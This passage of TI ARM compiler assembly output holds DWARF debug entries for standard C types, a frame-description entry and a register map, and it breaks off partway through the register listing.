$C$DW$T$105 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$105, DW_AT_name("__useconds_t")
.dwattr $C$DW$T$105, DW_AT_type(*$C$DW$T$11)
.dwattr $C$DW$T$105, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$105, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$105, DW_AT_decl_line(0x49)
.dwattr $C$DW$T$105, DW_AT_decl_column(0x16)
$C$DW$T$12 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$12, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$12, DW_AT_name("long")
.dwattr $C$DW$T$12, DW_AT_byte_size(0x04)
$C$DW$T$106 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$106, DW_AT_name("__key_t")
.dwattr $C$DW$T$106, DW_AT_type(*$C$DW$T$12)
.dwattr $C$DW$T$106, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$106, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$106, DW_AT_decl_line(0x37)
.dwattr $C$DW$T$106, DW_AT_decl_column(0x0f)
$C$DW$T$107 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$107, DW_AT_name("__suseconds_t")
.dwattr $C$DW$T$107, DW_AT_type(*$C$DW$T$12)
.dwattr $C$DW$T$107, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$107, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$107, DW_AT_decl_line(0x45)
.dwattr $C$DW$T$107, DW_AT_decl_column(0x0f)
$C$DW$T$13 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$13, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$13, DW_AT_name("unsigned long")
.dwattr $C$DW$T$13, DW_AT_byte_size(0x04)
$C$DW$T$14 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$14, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$14, DW_AT_name("long long")
.dwattr $C$DW$T$14, DW_AT_byte_size(0x08)
$C$DW$T$108 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$108, DW_AT_name("__int64_t")
.dwattr $C$DW$T$108, DW_AT_type(*$C$DW$T$14)
.dwattr $C$DW$T$108, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$108, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$108, DW_AT_decl_line(0x43)
.dwattr $C$DW$T$108, DW_AT_decl_column(0x14)
$C$DW$T$109 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$109, DW_AT_name("__blkcnt_t")
.dwattr $C$DW$T$109, DW_AT_type(*$C$DW$T$108)
.dwattr $C$DW$T$109, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$109, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$109, DW_AT_decl_line(0x2f)
.dwattr $C$DW$T$109, DW_AT_decl_column(0x13)
$C$DW$T$110 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$110, DW_AT_name("__id_t")
.dwattr $C$DW$T$110, DW_AT_type(*$C$DW$T$108)
.dwattr $C$DW$T$110, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$110, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$110, DW_AT_decl_line(0x35)
.dwattr $C$DW$T$110, DW_AT_decl_column(0x13)
$C$DW$T$111 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$111, DW_AT_name("__int_fast64_t")
.dwattr $C$DW$T$111, DW_AT_type(*$C$DW$T$108)
.dwattr $C$DW$T$111, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$111, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$111, DW_AT_decl_line(0x57)
.dwattr $C$DW$T$111, DW_AT_decl_column(0x13)
$C$DW$T$112 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$112, DW_AT_name("int_fast64_t")
.dwattr $C$DW$T$112, DW_AT_type(*$C$DW$T$111)
.dwattr $C$DW$T$112, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$112, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/stdint.h")
.dwattr $C$DW$T$112, DW_AT_decl_line(0x35)
.dwattr $C$DW$T$112, DW_AT_decl_column(0x19)
$C$DW$T$113 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$113, DW_AT_name("__int_least64_t")
.dwattr $C$DW$T$113, DW_AT_type(*$C$DW$T$108)
.dwattr $C$DW$T$113, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$113, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$113, DW_AT_decl_line(0x5b)
.dwattr $C$DW$T$113, DW_AT_decl_column(0x13)
$C$DW$T$114 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$114, DW_AT_name("int_least64_t")
.dwattr $C$DW$T$114, DW_AT_type(*$C$DW$T$113)
.dwattr $C$DW$T$114, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$114, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/stdint.h")
.dwattr $C$DW$T$114, DW_AT_decl_line(0x2b)
.dwattr $C$DW$T$114, DW_AT_decl_column(0x1a)
$C$DW$T$115 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$115, DW_AT_name("__intmax_t")
.dwattr $C$DW$T$115, DW_AT_type(*$C$DW$T$108)
.dwattr $C$DW$T$115, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$115, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$115, DW_AT_decl_line(0x52)
.dwattr $C$DW$T$115, DW_AT_decl_column(0x13)
$C$DW$T$116 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$116, DW_AT_name("intmax_t")
.dwattr $C$DW$T$116, DW_AT_type(*$C$DW$T$115)
.dwattr $C$DW$T$116, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$116, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_stdint.h")
.dwattr $C$DW$T$116, DW_AT_decl_line(0x54)
.dwattr $C$DW$T$116, DW_AT_decl_column(0x15)
$C$DW$T$117 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$117, DW_AT_name("__off64_t")
.dwattr $C$DW$T$117, DW_AT_type(*$C$DW$T$108)
.dwattr $C$DW$T$117, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$117, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$117, DW_AT_decl_line(0x3e)
.dwattr $C$DW$T$117, DW_AT_decl_column(0x13)
$C$DW$T$118 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$118, DW_AT_name("__off_t")
.dwattr $C$DW$T$118, DW_AT_type(*$C$DW$T$108)
.dwattr $C$DW$T$118, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$118, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$118, DW_AT_decl_line(0x3d)
.dwattr $C$DW$T$118, DW_AT_decl_column(0x13)
$C$DW$T$119 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$119, DW_AT_name("__rlim_t")
.dwattr $C$DW$T$119, DW_AT_type(*$C$DW$T$108)
.dwattr $C$DW$T$119, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$119, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$119, DW_AT_decl_line(0x40)
.dwattr $C$DW$T$119, DW_AT_decl_column(0x13)
$C$DW$T$120 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$120, DW_AT_name("int64_t")
.dwattr $C$DW$T$120, DW_AT_type(*$C$DW$T$108)
.dwattr $C$DW$T$120, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$120, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_stdint.h")
.dwattr $C$DW$T$120, DW_AT_decl_line(0x33)
.dwattr $C$DW$T$120, DW_AT_decl_column(0x14)
$C$DW$T$15 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$15, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$15, DW_AT_name("unsigned long long")
.dwattr $C$DW$T$15, DW_AT_byte_size(0x08)
$C$DW$T$121 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$121, DW_AT_name("__uint64_t")
.dwattr $C$DW$T$121, DW_AT_type(*$C$DW$T$15)
.dwattr $C$DW$T$121, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$121, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$121, DW_AT_decl_line(0x48)
.dwattr $C$DW$T$121, DW_AT_decl_column(0x1c)
$C$DW$T$122 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$122, DW_AT_name("__dev_t")
.dwattr $C$DW$T$122, DW_AT_type(*$C$DW$T$121)
.dwattr $C$DW$T$122, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$122, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$122, DW_AT_decl_line(0x74)
.dwattr $C$DW$T$122, DW_AT_decl_column(0x14)
$C$DW$T$123 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$123, DW_AT_name("__fsblkcnt_t")
.dwattr $C$DW$T$123, DW_AT_type(*$C$DW$T$121)
.dwattr $C$DW$T$123, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$123, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$123, DW_AT_decl_line(0x32)
.dwattr $C$DW$T$123, DW_AT_decl_column(0x14)
$C$DW$T$124 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$124, DW_AT_name("__fsfilcnt_t")
.dwattr $C$DW$T$124, DW_AT_type(*$C$DW$T$121)
.dwattr $C$DW$T$124, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$124, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$124, DW_AT_decl_line(0x33)
.dwattr $C$DW$T$124, DW_AT_decl_column(0x14)
$C$DW$T$125 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$125, DW_AT_name("__ino_t")
.dwattr $C$DW$T$125, DW_AT_type(*$C$DW$T$121)
.dwattr $C$DW$T$125, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$125, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$125, DW_AT_decl_line(0x36)
.dwattr $C$DW$T$125, DW_AT_decl_column(0x14)
$C$DW$T$126 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$126, DW_AT_name("__nlink_t")
.dwattr $C$DW$T$126, DW_AT_type(*$C$DW$T$121)
.dwattr $C$DW$T$126, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$126, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$126, DW_AT_decl_line(0x3c)
.dwattr $C$DW$T$126, DW_AT_decl_column(0x14)
$C$DW$T$127 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$127, DW_AT_name("__uint_fast64_t")
.dwattr $C$DW$T$127, DW_AT_type(*$C$DW$T$121)
.dwattr $C$DW$T$127, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$127, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$127, DW_AT_decl_line(0x6c)
.dwattr $C$DW$T$127, DW_AT_decl_column(0x14)
$C$DW$T$128 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$128, DW_AT_name("uint_fast64_t")
.dwattr $C$DW$T$128, DW_AT_type(*$C$DW$T$127)
.dwattr $C$DW$T$128, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$128, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/stdint.h")
.dwattr $C$DW$T$128, DW_AT_decl_line(0x3a)
.dwattr $C$DW$T$128, DW_AT_decl_column(0x1a)
$C$DW$T$129 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$129, DW_AT_name("__uint_least64_t")
.dwattr $C$DW$T$129, DW_AT_type(*$C$DW$T$121)
.dwattr $C$DW$T$129, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$129, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$129, DW_AT_decl_line(0x70)
.dwattr $C$DW$T$129, DW_AT_decl_column(0x14)
$C$DW$T$130 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$130, DW_AT_name("uint_least64_t")
.dwattr $C$DW$T$130, DW_AT_type(*$C$DW$T$129)
.dwattr $C$DW$T$130, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$130, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/stdint.h")
.dwattr $C$DW$T$130, DW_AT_decl_line(0x30)
.dwattr $C$DW$T$130, DW_AT_decl_column(0x1a)
$C$DW$T$131 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$131, DW_AT_name("__uintmax_t")
.dwattr $C$DW$T$131, DW_AT_type(*$C$DW$T$121)
.dwattr $C$DW$T$131, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$131, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$131, DW_AT_decl_line(0x67)
.dwattr $C$DW$T$131, DW_AT_decl_column(0x14)
$C$DW$T$132 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$132, DW_AT_name("__rman_res_t")
.dwattr $C$DW$T$132, DW_AT_type(*$C$DW$T$131)
.dwattr $C$DW$T$132, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$132, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$132, DW_AT_decl_line(0x8f)
.dwattr $C$DW$T$132, DW_AT_decl_column(0x19)
$C$DW$T$133 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$133, DW_AT_name("uintmax_t")
.dwattr $C$DW$T$133, DW_AT_type(*$C$DW$T$131)
.dwattr $C$DW$T$133, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$133, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_stdint.h")
.dwattr $C$DW$T$133, DW_AT_decl_line(0x58)
.dwattr $C$DW$T$133, DW_AT_decl_column(0x16)
$C$DW$T$134 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$134, DW_AT_name("uint64_t")
.dwattr $C$DW$T$134, DW_AT_type(*$C$DW$T$121)
.dwattr $C$DW$T$134, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$134, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_stdint.h")
.dwattr $C$DW$T$134, DW_AT_decl_line(0x47)
.dwattr $C$DW$T$134, DW_AT_decl_column(0x15)
$C$DW$T$16 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$16, DW_AT_encoding(DW_ATE_float)
.dwattr $C$DW$T$16, DW_AT_name("float")
.dwattr $C$DW$T$16, DW_AT_byte_size(0x04)
$C$DW$T$135 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$135, DW_AT_name("__float_t")
.dwattr $C$DW$T$135, DW_AT_type(*$C$DW$T$16)
.dwattr $C$DW$T$135, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$135, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$135, DW_AT_decl_line(0x50)
.dwattr $C$DW$T$135, DW_AT_decl_column(0x10)
$C$DW$T$17 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$17, DW_AT_encoding(DW_ATE_float)
.dwattr $C$DW$T$17, DW_AT_name("double")
.dwattr $C$DW$T$17, DW_AT_byte_size(0x08)
$C$DW$T$136 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$136, DW_AT_name("__double_t")
.dwattr $C$DW$T$136, DW_AT_type(*$C$DW$T$17)
.dwattr $C$DW$T$136, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$136, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$136, DW_AT_decl_line(0x4f)
.dwattr $C$DW$T$136, DW_AT_decl_column(0x11)
$C$DW$T$18 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$18, DW_AT_encoding(DW_ATE_float)
.dwattr $C$DW$T$18, DW_AT_name("long double")
.dwattr $C$DW$T$18, DW_AT_byte_size(0x08)
$C$DW$T$19 .dwtag DW_TAG_structure_type
.dwattr $C$DW$T$19, DW_AT_name("__mq")
.dwattr $C$DW$T$19, DW_AT_declaration
.dwattr $C$DW$T$19, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$19, DW_AT_decl_line(0x47)
.dwattr $C$DW$T$19, DW_AT_decl_column(0x10)
.dwendtag $C$DW$T$19
$C$DW$T$137 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$137, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$T$137, DW_AT_address_class(0x20)
$C$DW$T$138 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$138, DW_AT_name("__mqd_t")
.dwattr $C$DW$T$138, DW_AT_type(*$C$DW$T$137)
.dwattr $C$DW$T$138, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$138, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$138, DW_AT_decl_line(0x47)
.dwattr $C$DW$T$138, DW_AT_decl_column(0x16)
$C$DW$T$20 .dwtag DW_TAG_structure_type
.dwattr $C$DW$T$20, DW_AT_name("__timer")
.dwattr $C$DW$T$20, DW_AT_declaration
.dwattr $C$DW$T$20, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$20, DW_AT_decl_line(0x46)
.dwattr $C$DW$T$20, DW_AT_decl_column(0x10)
.dwendtag $C$DW$T$20
$C$DW$T$139 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$139, DW_AT_type(*$C$DW$T$20)
.dwattr $C$DW$T$139, DW_AT_address_class(0x20)
$C$DW$T$140 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$140, DW_AT_name("__timer_t")
.dwattr $C$DW$T$140, DW_AT_type(*$C$DW$T$139)
.dwattr $C$DW$T$140, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$140, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$140, DW_AT_decl_line(0x46)
.dwattr $C$DW$T$140, DW_AT_decl_column(0x19)
$C$DW$T$22 .dwtag DW_TAG_structure_type
.dwattr $C$DW$T$22, DW_AT_name("__va_list_t")
.dwattr $C$DW$T$22, DW_AT_byte_size(0x04)
$C$DW$17 .dwtag DW_TAG_member
.dwattr $C$DW$17, DW_AT_type(*$C$DW$T$3)
.dwattr $C$DW$17, DW_AT_name("__ap")
.dwattr $C$DW$17, DW_AT_TI_symbol_name("__ap")
.dwattr $C$DW$17, DW_AT_data_member_location[DW_OP_plus_uconst 0x0]
.dwattr $C$DW$17, DW_AT_accessibility(DW_ACCESS_public)
.dwattr $C$DW$17, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$17, DW_AT_decl_line(0x88)
.dwattr $C$DW$17, DW_AT_decl_column(0x0c)
.dwattr $C$DW$T$22, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$22, DW_AT_decl_line(0x87)
.dwattr $C$DW$T$22, DW_AT_decl_column(0x10)
.dwendtag $C$DW$T$22
$C$DW$T$141 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$141, DW_AT_name("__va_list")
.dwattr $C$DW$T$141, DW_AT_type(*$C$DW$T$22)
.dwattr $C$DW$T$141, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$141, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$141, DW_AT_decl_line(0x89)
.dwattr $C$DW$T$141, DW_AT_decl_column(0x03)
.dwattr $C$DW$CU, DW_AT_language(DW_LANG_C)
;***************************************************************
;* DWARF CIE ENTRIES *
;***************************************************************
$C$DW$CIE .dwcie 14
.dwcfi cfa_register, 13
.dwcfi cfa_offset, 0
.dwcfi same_value, 4
.dwcfi same_value, 5
.dwcfi same_value, 6
.dwcfi same_value, 7
.dwcfi same_value, 8
.dwcfi same_value, 9
.dwcfi same_value, 10
.dwcfi same_value, 11
.dwcfi same_value, 80
.dwcfi same_value, 81
.dwcfi same_value, 82
.dwcfi same_value, 83
.dwcfi same_value, 84
.dwcfi same_value, 85
.dwcfi same_value, 86
.dwcfi same_value, 87
.dwcfi same_value, 88
.dwcfi same_value, 89
.dwcfi same_value, 90
.dwcfi same_value, 91
.dwcfi same_value, 92
.dwcfi same_value, 93
.dwcfi same_value, 94
.dwcfi same_value, 95
.dwendentry
;***************************************************************
;* DWARF REGISTER MAP *
;***************************************************************
$C$DW$18 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$18, DW_AT_name("A1")
.dwattr $C$DW$18, DW_AT_location[DW_OP_reg0]
$C$DW$19 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$19, DW_AT_name("A2")
.dwattr $C$DW$19, DW_AT_location[DW_OP_reg1]
$C$DW$20 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$20, DW_AT_name("A3")
.dwattr $C$DW$20, DW_AT_location[DW_OP_reg2]
$C$DW$21 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$21, DW_AT_name("A4")
.dwattr $C$DW$21, DW_AT_location[DW_OP_reg3]
$C$DW$22 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$22, DW_AT_name("V1")
.dwattr $C$DW$22, DW_AT_location[DW_OP_reg4]
$C$DW$23 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$23, DW_AT_name("V2")
.dwattr $C$DW$23, DW_AT_location[DW_OP_reg5]
$C$DW$24 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$24, DW_AT_name("V3")
.dwattr $C$DW$24, DW_AT_location[DW_OP_reg6]
$C$DW$25 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$25, DW_AT_name("V4")
.dwattr $C$DW$25, DW_AT_location[DW_OP_reg7]
$C$DW$26 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$26, DW_AT_name("V5")
.dwattr $C$DW$26, DW_AT_location[DW_OP_reg8]
$C$DW$27 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$27, DW_AT_name("V6")
.dwattr $C$DW$27, DW_AT_location[DW_OP_reg9]
$C$DW$28 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$28, DW_AT_name("V7")
.dwattr $C$DW$28, DW_AT_location[DW_OP_reg10]
$C$DW$29 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$29, DW_AT_name("V8")
.dwattr $C$DW$29, DW_AT_location[DW_OP_reg11]
$C$DW$30 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$30, DW_AT_name("V9")
.dwattr $C$DW$30, DW_AT_location[DW_OP_reg12]
$C$DW$31 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$31, DW_AT_name("SP")
.dwattr $C$DW$31, DW_AT_location[DW_OP_reg13]
$C$DW$32 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$32, DW_AT_name("LR")
.dwattr $C$DW$32, DW_AT_location[DW_OP_reg14]
$C$DW$33 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$33, DW_AT_name("PC")
.dwattr $C$DW$33, DW_AT_location[DW_OP_reg15]
$C$DW$34 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$34, DW_AT_name("SR")
.dwattr $C$DW$34, DW_AT_location[DW_OP_reg17]
$C$DW$35 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$35, DW_AT_name("AP")
.dwattr $C$DW$35, DW_AT_location[DW_OP_reg7]
$C$DW$36 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$36, DW_AT_name("D0")
.dwattr $C$DW$36, DW_AT_location[DW_OP_regx 0x40]
$C$DW$37 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$37, DW_AT_name("D0_hi")
.dwattr $C$DW$37, DW_AT_location[DW_OP_regx 0x41]
$C$DW$38 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$38, DW_AT_name("D1")
.dwattr $C$DW$38, DW_AT_location[DW_OP_regx 0x42]
$C$DW$39 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$39, DW_AT_name("D1_hi")
.dwattr $C$DW$39, DW_AT_location[DW_OP_regx 0x43]
$C$DW$40 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$40, DW_AT_name("D2")
.dwattr $C$DW$40, DW_AT_location[DW_OP_regx 0x44]
$C$DW$41 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$41, DW_AT_name("D2_hi")
.dwattr $C$DW$41, DW_AT_location[DW_OP_regx 0x45]
$C$DW$42 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$42, DW_AT_name("D3")
.dwattr $C$DW$42, DW_AT_location[DW_OP_regx 0x46]
$C$DW$43 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$43, DW_AT_name("D3_hi")
.dwattr $C$DW$43, DW_AT_location[DW_OP_regx 0x47]
$C$DW$44 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$44, DW_AT_name("D4")
.dwattr $C$DW$44, DW_AT_location[DW_OP_regx 0x48]
$C$DW$45 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$45, DW_AT_name("D4_hi")
.dwattr $C$DW$45, DW_AT_location[DW_OP_regx 0x49]
$C$DW$46 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$46, DW_AT_name("D5")
.dwattr $C$DW$46, DW_AT_location[DW_OP_regx 0x4a]
$C$DW$47 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$47, DW_AT_name("D5_hi")
.dwattr $C$DW$47, DW_AT_location[DW_OP_regx 0x4b]
$C$DW$48 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$48, DW_AT_name("D6")
.dwattr $C$DW$48, DW_AT_location[DW_OP_regx 0x4c]
$C$DW$49 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$49, DW_AT_name("D6_hi")
.dwattr $C$DW$49, DW_AT_location[DW_OP_regx 0x4d]
$C$DW$50 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$50, DW_AT_name("D7")
.dwattr $C$DW$50, DW_AT_location[DW_OP_regx 0x4e]
$C$DW$51 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$51, DW_AT_name("D7_hi")
.dwattr $C$DW$51, DW_AT_location[DW_OP_regx 0x4f]
$C$DW$52 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$52, DW_AT_name("D8")
.dwattr $C$DW$52, DW_AT_location[DW_OP_regx 0x50]
$C$DW$53 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$53, DW_AT_name("D8_hi")
